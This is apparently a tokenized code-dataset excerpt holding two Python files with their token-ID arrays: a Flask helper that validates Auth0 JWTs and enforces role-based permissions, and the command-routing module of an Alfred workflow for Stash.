1596, 376, 259, 4903, 2283, 9280, 29908, 13, 1678, 1596, 5939, 29889, 16202, 29889, 13099, 29892, 29890, 29889, 16202, 29889, 13099, 13, 1678, 565, 29898, 2395, 29889, 16202, 29889, 13099, 1275, 289, 29889, 16202, 29889, 13099, 29897, 584, 13, 4706, 1596, 376, 259, 12481, 29879, 9280, 29908, 13, 1678, 1596, 5939, 29889, 16202, 29889, 1272, 29892, 29890, 29889, 16202, 29889, 1272, 13, 1678, 565, 3552, 2395, 29889, 16202, 29889, 1272, 1275, 289, 29889, 16202, 29889, 1272, 467, 497, 3101, 584, 13, 4706, 1596, 376, 259, 3630, 9280, 29908, 13, 2 ]
controller/controller_helper/__init__.py
IDNatte/mygamelist
0
1614272
""" Controller helper """ from flask import current_app from functools import wraps from flask import request from jose import jwt import requests import datetime from model import SystemAuthKey from shared import db class AuthError(Exception): """ Authentication error Error related to Authentication. """ def __init__(self, name, description, code): self.name = name self.code = code self.description = description class ServerError(Exception): """ Server fault error Raised during undetermined exception. """ def __init__(self, name, description, detail, code): self.name = name self.code = code self.detail = detail self.description = description def Auth0Validator(token): """ Auth0Validator non-decorator Auth0 token validator function """ try: url = current_app.config.get('AUTH0_DOMAIN') wks_url = f'{url}.well-known/jwks.json' wks_key = requests.get(wks_url) unverif_token = jwt.get_unverified_header(token) rsa_key = {} for k in wks_key.json().get('keys'): if k.get('kid') == unverif_token.get('kid'): rsa_key.update({ "kty": k.get("kty"), "kid": k.get("kid"), "use": k.get("use"), "n": k.get("n"), "e": k.get("e") }) if rsa_key: try: payload = jwt.decode(token, rsa_key, algorithms=current_app.config.get('AUTH0_ALGORITHMS'), audience=current_app.config.get('AUTH0_API_AUDIENCE'), issuer=url) return payload except jwt.ExpiredSignatureError: raise AuthError('Expired Token', 'token expiration reached', 401) except jwt.JWTClaimsError: raise AuthError('Unauthoriozed', 'Unrecognized issuer', 401) except Exception as e: raise ServerError('Server Fault', 'Unrecognized server fault', e, 500) else: raise AuthError('Unauthoriozed', 'Invalid token entity', 401) except jwt.JWTError: raise AuthError('Unauthoriozed', 'Broken jwt payload', 401) def Auth0Identifier(user): """ Auth0 user identificator non-decorator Auth0 user identificator function """ # pylint: disable=maybe-no-member current_time = datetime.datetime.now() url = current_app.config.get('AUTH0_DOMAIN') token_query = SystemAuthKey.query expired_token = token_query.filter(SystemAuthKey.expiration <= current_time) token = token_query.order_by(SystemAuthKey.expiration.desc())\ .filter(SystemAuthKey.expiration >= current_time)\ .first() if token: counter = token_query.order_by(SystemAuthKey.expiration.desc()).count() user_data = requests.get(f'{url}api/v2/users/{user}', headers={ "authorization": f'Bearer {token.token}' }) roles = requests.get(f'{url}api/v2/users/{user}/roles', headers={ "authorization": f'Bearer {token.token}' }) if counter > 1: expired_token.delete() db.session.commit() return { "user_id": user_data.json().get('identities')[0].get('user_id'), "username": user_data.json().get('nickname'), "email": user_data.json().get('email'), "picture": user_data.json().get('picture'), "role": roles.json()[0].get('name') } else: authorize = requests.post(f'{url}oauth/token', data={ "client_id": current_app.config.get('AUTH0_CLIENT'), "client_secret": current_app.config.get('AUTH0_SECRET'), "audience": current_app.config.get('AUTH0_SYSTEM_AUDIENCE'), "grant_type": current_app.config.get('AUTH0_GRANT_TYPE') }) if authorize.status_code == 200: token = authorize.json().get('access_token') token_type = authorize.json().get('token_type') token_time = datetime.timedelta(seconds=authorize.json().get('expires_in')) current_time = datetime.datetime.now() token_expire_time = current_time + token_time securityToken = SystemAuthKey(token=token, expiration=token_expire_time) securityToken.save() user = requests.get(f'{url}api/v2/users/{user}', headers={ "authorization": f'{token_type} {securityToken.token}' }) return { "user_id": user.json().get('identities')[0].get('user_id'), "username": user.json().get('nickname'), "email": user.json().get('email'), "picture": user.json().get('picture') } else: raise ServerError('Server Fault', 'Unrecognized server fault', f'Server transaction error {authorize.status_code}', 500) def auth_header_parser(headers): """ Authorization header parser """ parser = headers.split(' ') if len(parser) == 2: if 'Bearer' in parser: return parser[1] else: raise AuthError('Unauthoriozed', 'Broken Authorization header', 401) else: raise AuthError('Unauthoriozed', 'Missing token', 401) def rbac_checker(payload, permission): if payload.get('permissions'): if permission in payload.get('permissions'): return True else: return False else: raise AuthError('Unauthoriozed', 'Permissions unauthorized', 401) def authenticate(f): """ endpoint authentication decorator """ @wraps(f) def authenticate_decorator(*args, **kwargs): try: headers = request.headers['Authorization'] token = auth_header_parser(headers) validator = Auth0Validator(token) if validator: user_obj = validator.get('sub') user_id = Auth0Identifier(user_obj).get('user_id') return f(user_id, *args, **kwargs) else: return False except KeyError: raise AuthError('Unauthorized', 'Broken Authorization header', 401) return authenticate_decorator def authorize(permission=''): def authorization_decorator(f): @wraps(f) def wrapper_func(*args, **kwargs): try: headers = request.headers['Authorization'] token = auth_header_parser(headers) payload = Auth0Validator(token) check_permission = rbac_checker(payload, permission) if check_permission: return f(*args, **kwargs) else: raise AuthError('Unauthoriozed', 'Permissions unauthorized', 401) except KeyError: raise AuthError('Unauthoriozed', 'Broken Authorization header', 401) return wrapper_func return authorization_decorator
[ 1, 9995, 13, 2956, 16876, 13, 15945, 29908, 13, 3166, 29784, 1053, 1857, 29918, 932, 13, 3166, 2090, 312, 8789, 1053, 11463, 567, 13, 3166, 29784, 1053, 2009, 13, 3166, 432, 852, 1053, 432, 14554, 13, 5215, 7274, 13, 5215, 12865, 13, 13, 3166, 1904, 1053, 2184, 6444, 2558, 13, 3166, 7258, 1053, 4833, 13, 13, 13, 1990, 13189, 2392, 29898, 2451, 1125, 13, 1678, 9995, 13, 1678, 27241, 1059, 13, 13, 1678, 4829, 4475, 304, 27241, 29889, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1024, 29892, 6139, 29892, 775, 1125, 13, 4706, 1583, 29889, 978, 353, 1024, 13, 4706, 1583, 29889, 401, 353, 775, 13, 4706, 1583, 29889, 8216, 353, 6139, 13, 13, 13, 1990, 5656, 2392, 29898, 2451, 1125, 13, 1678, 9995, 13, 1678, 5656, 12570, 1059, 13, 13, 1678, 390, 1759, 287, 2645, 563, 300, 837, 1312, 3682, 29889, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1024, 29892, 6139, 29892, 9493, 29892, 775, 1125, 13, 4706, 1583, 29889, 978, 353, 1024, 13, 4706, 1583, 29889, 401, 353, 775, 13, 4706, 1583, 29889, 16432, 353, 9493, 13, 4706, 1583, 29889, 8216, 353, 6139, 13, 13, 13, 1753, 13189, 29900, 24204, 29898, 6979, 1125, 13, 1678, 9995, 13, 1678, 13189, 29900, 24204, 13, 13, 1678, 1661, 29899, 19557, 1061, 13189, 29900, 5993, 2854, 1061, 740, 13, 1678, 9995, 13, 13, 1678, 1018, 29901, 13, 4706, 3142, 353, 1857, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 3970, 29032, 1495, 13, 4706, 281, 2039, 29918, 2271, 353, 285, 29915, 29912, 2271, 1836, 5872, 29899, 5203, 29914, 29926, 29893, 2039, 29889, 3126, 29915, 13, 4706, 281, 2039, 29918, 1989, 353, 7274, 29889, 657, 29898, 29893, 2039, 29918, 2271, 29897, 13, 13, 4706, 443, 369, 361, 29918, 6979, 353, 432, 14554, 29889, 657, 29918, 348, 369, 2164, 29918, 6672, 29898, 6979, 29897, 13, 13, 4706, 364, 4977, 29918, 1989, 353, 6571, 13, 4706, 363, 413, 297, 281, 2039, 29918, 1989, 29889, 3126, 2141, 657, 877, 8149, 29374, 13, 9651, 565, 413, 29889, 657, 877, 29895, 333, 1495, 1275, 443, 369, 361, 29918, 6979, 29889, 657, 877, 29895, 333, 29374, 13, 18884, 364, 4977, 29918, 1989, 29889, 5504, 3319, 13, 462, 1678, 376, 29895, 1017, 1115, 413, 29889, 657, 703, 29895, 1017, 4968, 13, 462, 1678, 376, 29895, 333, 1115, 413, 29889, 657, 703, 29895, 333, 4968, 13, 462, 1678, 376, 1509, 1115, 413, 29889, 657, 703, 1509, 4968, 13, 462, 1678, 376, 29876, 1115, 413, 29889, 657, 703, 29876, 4968, 13, 462, 1678, 376, 29872, 1115, 413, 29889, 657, 703, 29872, 1159, 13, 18884, 5615, 13, 13, 4706, 565, 364, 4977, 29918, 1989, 29901, 13, 9651, 1018, 29901, 13, 18884, 20092, 353, 432, 14554, 29889, 13808, 29898, 6979, 29892, 13, 462, 462, 268, 364, 4977, 29918, 1989, 29892, 13, 462, 462, 268, 14009, 29922, 3784, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 1964, 29954, 1955, 13054, 4345, 5477, 13, 462, 462, 268, 20026, 29922, 3784, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 8787, 29918, 25951, 4571, 1430, 4741, 5477, 13, 462, 462, 268, 1721, 2853, 29922, 2271, 29897, 13, 13, 18884, 736, 20092, 13, 13, 9651, 5174, 432, 14554, 29889, 9544, 2859, 10140, 1535, 2392, 29901, 13, 18884, 12020, 13189, 2392, 877, 9544, 2859, 25159, 742, 525, 6979, 1518, 12232, 7450, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 9651, 5174, 432, 14554, 29889, 29967, 29956, 9472, 8342, 29879, 2392, 29901, 13, 18884, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 2525, 29423, 1891, 1721, 2853, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 9651, 5174, 8960, 408, 321, 29901, 13, 18884, 12020, 5656, 2392, 877, 6004, 383, 1292, 742, 525, 2525, 29423, 1891, 1923, 12570, 742, 321, 29892, 29871, 29945, 29900, 29900, 29897, 13, 13, 4706, 1683, 29901, 13, 9651, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 13919, 5993, 7855, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 1678, 5174, 432, 14554, 29889, 29967, 17755, 2392, 29901, 13, 4706, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 29857, 1717, 432, 14554, 20092, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 13, 1753, 13189, 29900, 12889, 29898, 1792, 1125, 13, 1678, 9995, 13, 1678, 13189, 29900, 1404, 25907, 1061, 13, 13, 1678, 1661, 29899, 19557, 1061, 13189, 29900, 1404, 25907, 1061, 740, 13, 1678, 9995, 13, 1678, 396, 282, 2904, 524, 29901, 11262, 29922, 26026, 29899, 1217, 29899, 14242, 13, 13, 1678, 1857, 29918, 2230, 353, 12865, 29889, 12673, 29889, 3707, 580, 13, 1678, 3142, 353, 1857, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 3970, 29032, 1495, 13, 13, 1678, 5993, 29918, 1972, 353, 2184, 6444, 2558, 29889, 1972, 13, 1678, 1518, 2859, 29918, 6979, 353, 5993, 29918, 1972, 29889, 4572, 29898, 3924, 6444, 2558, 29889, 4548, 12232, 5277, 1857, 29918, 2230, 29897, 13, 1678, 5993, 353, 5993, 29918, 1972, 29889, 2098, 29918, 1609, 29898, 3924, 6444, 2558, 29889, 4548, 12232, 29889, 14273, 580, 2144, 13, 4706, 869, 4572, 29898, 3924, 6444, 2558, 29889, 4548, 12232, 6736, 1857, 29918, 2230, 2144, 13, 4706, 869, 4102, 580, 13, 13, 1678, 565, 5993, 29901, 13, 4706, 6795, 353, 5993, 29918, 1972, 29889, 2098, 29918, 1609, 29898, 3924, 6444, 2558, 29889, 4548, 12232, 29889, 14273, 16655, 2798, 580, 13, 4706, 1404, 29918, 1272, 353, 7274, 29889, 657, 29898, 29888, 29915, 29912, 2271, 29913, 2754, 29914, 29894, 29906, 29914, 7193, 19248, 1792, 29913, 742, 9066, 3790, 13, 9651, 376, 8921, 2133, 1115, 285, 29915, 29933, 799, 261, 426, 6979, 29889, 6979, 10162, 13, 4706, 5615, 13, 13, 4706, 16178, 353, 7274, 29889, 657, 29898, 29888, 29915, 29912, 2271, 29913, 2754, 29914, 29894, 29906, 29914, 7193, 19248, 1792, 6822, 307, 793, 742, 9066, 3790, 13, 9651, 376, 8921, 2133, 1115, 285, 29915, 29933, 799, 261, 426, 6979, 29889, 6979, 10162, 13, 4706, 5615, 13, 13, 4706, 565, 6795, 1405, 29871, 29896, 29901, 13, 9651, 1518, 2859, 29918, 6979, 29889, 8143, 580, 13, 9651, 4833, 29889, 7924, 29889, 15060, 580, 13, 13, 4706, 736, 426, 13, 9651, 376, 1792, 29918, 333, 1115, 1404, 29918, 1272, 29889, 3126, 2141, 657, 877, 1693, 1907, 29861, 29900, 1822, 657, 877, 1792, 29918, 333, 5477, 13, 9651, 376, 6786, 1115, 1404, 29918, 1272, 29889, 3126, 2141, 657, 877, 19254, 978, 5477, 13, 9651, 376, 5269, 1115, 1404, 29918, 1272, 29889, 3126, 2141, 657, 877, 5269, 5477, 13, 9651, 376, 12095, 1115, 1404, 29918, 1272, 29889, 3126, 2141, 657, 877, 12095, 5477, 13, 9651, 376, 12154, 1115, 16178, 29889, 3126, 580, 29961, 29900, 1822, 657, 877, 978, 1495, 13, 4706, 500, 13, 13, 1678, 1683, 29901, 13, 4706, 4148, 675, 353, 7274, 29889, 2490, 29898, 29888, 29915, 29912, 2271, 29913, 23106, 29914, 6979, 742, 848, 3790, 13, 9651, 376, 4645, 29918, 333, 1115, 1857, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 27205, 3919, 5477, 13, 9651, 376, 4645, 29918, 19024, 1115, 1857, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 1660, 22245, 29911, 5477, 13, 9651, 376, 28863, 663, 1115, 1857, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 14816, 1254, 12665, 29918, 25951, 4571, 1430, 4741, 5477, 13, 9651, 376, 629, 424, 29918, 1853, 1115, 1857, 29918, 932, 29889, 2917, 29889, 657, 877, 20656, 29950, 29900, 29918, 14345, 13566, 29918, 11116, 1495, 13, 4706, 5615, 13, 13, 4706, 565, 4148, 675, 29889, 4882, 29918, 401, 1275, 29871, 29906, 29900, 29900, 29901, 13, 9651, 5993, 353, 4148, 675, 29889, 3126, 2141, 657, 877, 5943, 29918, 6979, 1495, 13, 9651, 5993, 29918, 1853, 353, 4148, 675, 29889, 3126, 2141, 657, 877, 6979, 29918, 1853, 1495, 13, 13, 9651, 5993, 29918, 2230, 353, 12865, 29889, 9346, 287, 2554, 29898, 23128, 29922, 8921, 675, 29889, 3126, 2141, 657, 877, 4548, 2658, 29918, 262, 8785, 13, 9651, 1857, 29918, 2230, 353, 12865, 29889, 12673, 29889, 3707, 580, 13, 9651, 5993, 29918, 4548, 533, 29918, 2230, 353, 1857, 29918, 2230, 718, 5993, 29918, 2230, 13, 13, 9651, 6993, 6066, 353, 2184, 6444, 2558, 29898, 6979, 29922, 6979, 29892, 1518, 12232, 29922, 6979, 29918, 4548, 533, 29918, 2230, 29897, 13, 9651, 6993, 6066, 29889, 7620, 580, 13, 13, 9651, 1404, 353, 7274, 29889, 657, 29898, 29888, 29915, 29912, 2271, 29913, 2754, 29914, 29894, 29906, 29914, 7193, 19248, 1792, 29913, 742, 9066, 3790, 13, 18884, 376, 8921, 2133, 1115, 285, 29915, 29912, 6979, 29918, 1853, 29913, 426, 8926, 6066, 29889, 6979, 10162, 13, 9651, 5615, 13, 13, 9651, 736, 426, 13, 18884, 376, 1792, 29918, 333, 1115, 1404, 29889, 3126, 2141, 657, 877, 1693, 1907, 29861, 29900, 1822, 657, 877, 1792, 29918, 333, 5477, 13, 18884, 376, 6786, 1115, 1404, 29889, 3126, 2141, 657, 877, 19254, 978, 5477, 13, 18884, 376, 5269, 1115, 1404, 29889, 3126, 2141, 657, 877, 5269, 5477, 13, 18884, 376, 12095, 1115, 1404, 29889, 3126, 2141, 657, 877, 12095, 1495, 13, 9651, 500, 13, 13, 4706, 1683, 29901, 13, 9651, 12020, 5656, 2392, 877, 6004, 383, 1292, 742, 13, 462, 795, 525, 2525, 29423, 1891, 1923, 12570, 742, 13, 462, 795, 285, 29915, 6004, 10804, 1059, 426, 8921, 675, 29889, 4882, 29918, 401, 29913, 742, 13, 462, 1669, 29945, 29900, 29900, 29897, 13, 13, 13, 1753, 4817, 29918, 6672, 29918, 16680, 29898, 13662, 1125, 13, 1678, 9995, 13, 1678, 13361, 2133, 4839, 13812, 13, 1678, 9995, 13, 1678, 13812, 353, 9066, 29889, 5451, 877, 25710, 13, 13, 1678, 565, 7431, 29898, 16680, 29897, 1275, 29871, 29906, 29901, 13, 4706, 565, 525, 29933, 799, 261, 29915, 297, 13812, 29901, 13, 9651, 736, 13812, 29961, 29896, 29962, 13, 4706, 1683, 29901, 13, 9651, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 29857, 1717, 13361, 2133, 4839, 742, 29871, 29946, 29900, 29896, 29897, 13, 1678, 1683, 29901, 13, 4706, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 18552, 292, 5993, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 13, 1753, 364, 29890, 562, 29918, 3198, 261, 29898, 23813, 29892, 10751, 1125, 13, 1678, 565, 20092, 29889, 657, 877, 17858, 6847, 29374, 13, 4706, 565, 10751, 297, 20092, 29889, 657, 877, 17858, 6847, 29374, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 736, 7700, 13, 1678, 1683, 29901, 13, 4706, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 15737, 6847, 1185, 329, 2015, 1891, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 13, 1753, 15585, 403, 29898, 29888, 1125, 13, 1678, 9995, 13, 1678, 16248, 10760, 10200, 1061, 13, 1678, 9995, 13, 1678, 732, 29893, 336, 567, 29898, 29888, 29897, 13, 1678, 822, 15585, 403, 29918, 19557, 1061, 10456, 5085, 29892, 3579, 19290, 1125, 13, 4706, 1018, 29901, 13, 9651, 9066, 353, 2009, 29889, 13662, 1839, 25471, 2033, 13, 9651, 5993, 353, 4817, 29918, 6672, 29918, 16680, 29898, 13662, 29897, 13, 9651, 2854, 1061, 353, 13189, 29900, 24204, 29898, 6979, 29897, 13, 9651, 565, 2854, 1061, 29901, 13, 18884, 1404, 29918, 5415, 353, 2854, 1061, 29889, 657, 877, 1491, 1495, 13, 18884, 1404, 29918, 333, 353, 13189, 29900, 12889, 29898, 1792, 29918, 5415, 467, 657, 877, 1792, 29918, 333, 1495, 13, 18884, 736, 285, 29898, 1792, 29918, 333, 29892, 334, 5085, 29892, 3579, 19290, 29897, 13, 9651, 1683, 29901, 13, 18884, 736, 7700, 13, 4706, 5174, 7670, 2392, 29901, 13, 9651, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 1891, 742, 525, 29857, 1717, 13361, 2133, 4839, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 1678, 736, 15585, 403, 29918, 19557, 1061, 13, 13, 13, 1753, 4148, 675, 29898, 16074, 2433, 29374, 13, 1678, 822, 28733, 29918, 19557, 1061, 29898, 29888, 1125, 13, 4706, 732, 29893, 336, 567, 29898, 29888, 29897, 13, 4706, 822, 14476, 29918, 9891, 10456, 5085, 29892, 3579, 19290, 1125, 13, 9651, 1018, 29901, 13, 18884, 9066, 353, 2009, 29889, 13662, 1839, 25471, 2033, 13, 18884, 5993, 353, 4817, 29918, 6672, 29918, 16680, 29898, 13662, 29897, 13, 18884, 20092, 353, 13189, 29900, 24204, 29898, 6979, 29897, 13, 18884, 1423, 29918, 16074, 353, 364, 29890, 562, 29918, 3198, 261, 29898, 23813, 29892, 10751, 29897, 13, 18884, 565, 1423, 29918, 16074, 29901, 13, 462, 1678, 736, 285, 10456, 5085, 29892, 3579, 19290, 29897, 13, 18884, 1683, 29901, 13, 462, 1678, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 15737, 6847, 1185, 329, 2015, 1891, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 9651, 5174, 7670, 2392, 29901, 13, 18884, 12020, 13189, 2392, 877, 29965, 1056, 329, 2015, 601, 24688, 742, 525, 29857, 1717, 13361, 2133, 4839, 742, 29871, 29946, 29900, 29896, 29897, 13, 13, 4706, 736, 14476, 29918, 9891, 13, 1678, 736, 28733, 29918, 19557, 1061, 13, 2 ]
workflow/src/routing.py
mibexsoftware/alfred-stash-workflow
13
10326
# -*- coding: utf-8 -*- from src import icons, __version__ from src.actions import HOST_URL from src.actions.configure import ConfigureWorkflowAction from src.actions.help import HelpWorkflowAction from src.actions.index import IndexWorkflowAction from src.actions.projects import ProjectWorkflowAction from src.actions.pull_requests import PullRequestWorkflowAction from src.actions.repositories import RepositoryWorkflowAction from src.util import workflow, call_alfred WORKFLOW_ACTIONS = { ':config': ConfigureWorkflowAction, ':projects': ProjectWorkflowAction, ':repos': RepositoryWorkflowAction, ':pullrequests': PullRequestWorkflowAction, ':help': HelpWorkflowAction } def route(args): # e.g., args = ":config sethost http://localhost,--exec" command_string = args[0] # :config sethost http://localhost command = command_string.split(' ') if not workflow().settings.get(HOST_URL, None) and 'sethost' not in command: call_alfred('stash:config sethost ') return handler = IndexWorkflowAction action = next(iter(command), None) if action: handler = WORKFLOW_ACTIONS.get(action, IndexWorkflowAction) if '--exec' in args: handler().execute(command, cmd_pressed='--cmd' in args, shift_pressed='--shift' in args) else: # show menu handler().menu(command) _notify_if_upgrade_available() workflow().send_feedback() def _notify_if_upgrade_available(): if workflow().update_available: new_version = workflow().cached_data('__workflow_update_status', max_age=0)['version'] workflow().add_item('An update is available!', 'Update the workflow from version {} to {}'.format(__version__, new_version), arg=':config update', valid=True, icon=icons.UPDATE)
[ 1, 396, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 3166, 4765, 1053, 27673, 29892, 4770, 3259, 1649, 13, 3166, 4765, 29889, 7387, 1053, 379, 3718, 29918, 4219, 13, 3166, 4765, 29889, 7387, 29889, 17591, 1053, 1281, 4532, 5531, 1731, 4276, 13, 3166, 4765, 29889, 7387, 29889, 8477, 1053, 22305, 5531, 1731, 4276, 13, 3166, 4765, 29889, 7387, 29889, 2248, 1053, 11374, 5531, 1731, 4276, 13, 3166, 4765, 29889, 7387, 29889, 16418, 1053, 8010, 5531, 1731, 4276, 13, 3166, 4765, 29889, 7387, 29889, 26746, 29918, 24830, 1053, 349, 913, 3089, 5531, 1731, 4276, 13, 3166, 4765, 29889, 7387, 29889, 276, 1066, 20106, 1053, 830, 7036, 5531, 1731, 4276, 13, 3166, 4765, 29889, 4422, 1053, 27321, 29892, 1246, 29918, 3131, 1127, 13, 13, 11686, 29968, 29943, 27998, 29918, 24705, 29903, 353, 426, 13, 1678, 525, 29901, 2917, 2396, 539, 1281, 4532, 5531, 1731, 4276, 29892, 13, 1678, 525, 29901, 16418, 2396, 268, 8010, 5531, 1731, 4276, 29892, 13, 1678, 525, 29901, 276, 1066, 2396, 4706, 830, 7036, 5531, 1731, 4276, 29892, 13, 1678, 525, 29901, 26746, 24830, 2396, 349, 913, 3089, 5531, 1731, 4276, 29892, 13, 1678, 525, 29901, 8477, 2396, 308, 22305, 5531, 1731, 4276, 13, 29913, 13, 13, 1753, 5782, 29898, 5085, 1125, 29871, 396, 321, 29889, 29887, 1696, 6389, 353, 29242, 2917, 269, 621, 520, 1732, 597, 7640, 7839, 4258, 29908, 13, 1678, 1899, 29918, 1807, 353, 6389, 29961, 29900, 29962, 29871, 396, 584, 2917, 269, 621, 520, 1732, 597, 7640, 13, 1678, 1899, 353, 1899, 29918, 1807, 29889, 5451, 877, 25710, 13, 13, 1678, 565, 451, 27321, 2141, 11027, 29889, 657, 29898, 20832, 29918, 4219, 29892, 6213, 29897, 322, 525, 29879, 621, 520, 29915, 451, 297, 1899, 29901, 13, 4706, 1246, 29918, 3131, 1127, 877, 303, 1161, 29901, 2917, 269, 621, 520, 25710, 13, 4706, 736, 13, 13, 1678, 7834, 353, 11374, 5531, 1731, 4276, 13, 1678, 3158, 353, 2446, 29898, 1524, 29898, 6519, 511, 6213, 29897, 13, 1678, 565, 3158, 29901, 13, 4706, 7834, 353, 399, 1955, 29968, 29943, 27998, 29918, 24705, 29903, 29889, 657, 29898, 2467, 29892, 11374, 5531, 1731, 4276, 29897, 13, 13, 1678, 565, 525, 489, 4258, 29915, 297, 6389, 29901, 13, 4706, 7834, 2141, 7978, 29898, 6519, 29892, 9920, 29918, 13120, 2433, 489, 9006, 29915, 297, 6389, 29892, 9500, 29918, 13120, 2433, 489, 10889, 29915, 297, 6389, 29897, 13, 1678, 1683, 29901, 29871, 396, 1510, 6143, 13, 4706, 7834, 2141, 6510, 29898, 6519, 29897, 13, 4706, 903, 25140, 29918, 361, 29918, 786, 8228, 29918, 16515, 580, 13, 4706, 27321, 2141, 6717, 29918, 18798, 1627, 580, 13, 13, 13, 1753, 903, 25140, 29918, 361, 29918, 786, 8228, 29918, 16515, 7295, 13, 1678, 565, 27321, 2141, 5504, 29918, 16515, 29901, 13, 4706, 716, 29918, 3259, 353, 27321, 2141, 29883, 3791, 29918, 1272, 877, 1649, 1287, 1731, 29918, 5504, 29918, 4882, 742, 4236, 29918, 482, 29922, 29900, 29897, 1839, 3259, 2033, 13, 4706, 27321, 2141, 1202, 29918, 667, 877, 2744, 2767, 338, 3625, 29991, 742, 13, 462, 9651, 525, 6422, 278, 27321, 515, 1873, 6571, 304, 6571, 4286, 4830, 22168, 3259, 1649, 29892, 716, 29918, 3259, 511, 13, 462, 9651, 1852, 29922, 2396, 2917, 2767, 742, 13, 462, 9651, 2854, 29922, 5574, 29892, 13, 462, 9651, 9849, 29922, 27078, 29889, 14474, 29897, 13, 2 ]